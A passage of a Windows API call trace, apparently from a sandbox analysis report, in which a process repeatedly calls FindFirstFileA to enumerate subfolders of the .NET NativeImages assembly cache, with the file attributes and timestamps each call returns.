nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.410] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xca811a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca811a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.415] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Con#\\8d64f031cf429f4ce79642e8be267d2d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3838b00, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xca811a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xca811a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.423] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe51f5910, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcaa7300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcaa7300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.428] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\2e1dbe90bc10ba70f147a249adfc7f64\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe60b014b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcaa7300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcaa7300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.434] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Eng#\\8c4abd55a6b822e3efbbc649c5c01a3e\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe521ba70, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcaa7300, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcaa7300, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.439] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcacd460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcacd460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.444] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\89815091ad8cb6d7b4c48d84ff1021e0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe5398833, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcacd460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcacd460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.450] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Fra#\\a71fda14114136e528b310f41dce7915\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe62eb5ef, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcacd460, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcacd460, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.455] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcaf35c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcaf35c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.461] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe93b7949, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcaf35c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcaf35c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.468] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcaf35c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcaf35c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.473] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcb19720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb19720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.479] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9938c33, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcb19720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb19720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.484] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcb19720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb19720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.490] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcb3f880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb3f880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.498] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.BusinessD#\\f123422e2aa28f10867d7906966f8df1\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab2eb2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xcb3f880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb3f880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.503] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcb659e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb659e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.509] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\06d363f8e85281d0f70f2c88d1a0e667\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x635c5360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcb659e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb659e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.514] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\cd46037a39e95bc84d3694aa4d97e18c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d6180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcb659e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb659e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.519] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.GroupPoli#\\da42912f997fae780054f0c3a6b47fea\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63a61e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcb8bb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb8bb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.524] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcb8bb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb8bb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.530] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Ink\\3d4632e11d04d8db85c98485b1622bae\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeafd5d5c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcb8bb40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcb8bb40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.535] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcbb1ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbb1ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.540] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.JScript\\71e40c479d779f2bf55bb925834e3cd3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2c51cea, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcbb1ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbb1ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.545] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcbb1ca0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbb1ca0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.551] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Managemen#\\e72886c96b63be364c0205b6c4ff4413\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd8cfbb25, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xcbd7e00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbd7e00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.557] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcbd7e00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbd7e00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.563] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\140714964f3afbcea38cb33d548c5d3c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x613b3880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcbfdf60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbfdf60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.568] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\154860df057d588035a8c66a65ea31e7\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6096f9a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcbfdf60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbfdf60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.573] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\1f517ecba89b0f399021bdbc8fb3db82\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x608d7420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcbfdf60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcbfdf60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.579] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\4e9468fdc6937145e65c6434787e2fa5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6190ea00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc240c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc240c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.584] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\5b9c2eae674609a3d84010c9906e0bf8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60036460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc240c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc240c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.590] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\618ab8996b43e841efdcfb273393fc02\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f344cc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc240c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc240c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.595] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\9ae837dc03e8519b40fe2c35c8752146\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f2865e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc4a220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc4a220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.600] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\a9f43923aab0d83b93cbf10ac1dfd0b5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6182a1c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc4a220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc4a220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.605] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\b883b83d1f72f1fcaf4acdef3c9c381f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63f96e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc4a220, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc4a220, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.611] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ce17670e5d6d33a85e64766e340a2176\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d73ec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc70380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc70380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.616] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\dc34242bf840d340e94d2657c7c33371\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61530640, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc70380, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc70380, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.632] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60a541e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc964e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xcc964e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.637] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64abf540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xcc964e0, 